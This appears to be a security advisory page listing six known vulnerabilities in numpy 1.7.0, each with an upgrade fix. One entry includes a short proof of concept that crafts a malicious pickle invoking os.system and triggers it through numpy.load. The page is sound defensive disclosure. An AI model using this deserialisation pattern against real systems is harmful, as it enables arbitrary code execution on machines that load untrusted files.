numpy@1.7.0 vulnerabilities

numpy is a fundamental package needed for scientific computing with Python.

Affected versions of this package are vulnerable to Buffer Overflow due to missing boundary checks in the array_from_pyobj function of fortranobject.c. This may allow an attacker to conduct Denial of Service by carefully constructing an array with negative values.

Upgrade numpy to version 1.22.0 or higher.

numpy is a fundamental package needed for scientific computing with Python.

Affected versions of this package are vulnerable to NULL Pointer Dereference due to missing return-value validation in the PyArray_DescrNew function, which may allow attackers to conduct Denial of Service attacks by repetitively creating and sort arrays.

Note: This may likely only happen if application memory is already exhausted, as it requires the newdescr object of the PyArray_DescrNew to evaluate to NULL.

Upgrade numpy to version 1.22.2 or higher.

numpy is a fundamental package needed for scientific computing with Python.

Affected versions of this package are vulnerable to Denial of Service (DoS) due to an incomplete string comparison in the numpy.core component, which may allow attackers to fail the APIs via constructing specific string objects.

Upgrade numpy to version 1.22.0rc1 or higher.

numpy is a fundamental package needed for scientific computing with Python.

Affected versions of this package are vulnerable to Arbitrary Code Execution. It uses the pickle Python module unsafely, which allows remote attackers to execute arbitrary code via a crafted serialized object, as demonstrated by a numpy.load call.

PoC by nanshihui:

import numpy
from numpy import __version__
print __version__
import os
import  pickle
class Test(object):
    def __init__(self):
        self.a = 1

    def __reduce__(self):
        return (os.system,('ls',))
tmpdaa = Test()
with open("a-file.pickle",'wb') as f:
    pickle.dump(tmpdaa,f)
numpy.load('a-file.pickle')

Upgrade numpy to version 1.16.3 or higher.

numpy is a package needed for scientific computing with Python.

Affected versions of this package are vulnerable to Symlink Attack. It allows local users to write to arbitrary files via a symlink attack on a temporary file.

Upgrade numpy to version 1.8.2 or higher.

numpy is a package for scientific computing with Python.

Affected versions of this package are vulnerable to Denial of Service (DoS)due to missing input validation. An empty list or an array will stick into an infinite loop.

Upgrade numpy to version 1.13.3 or higher.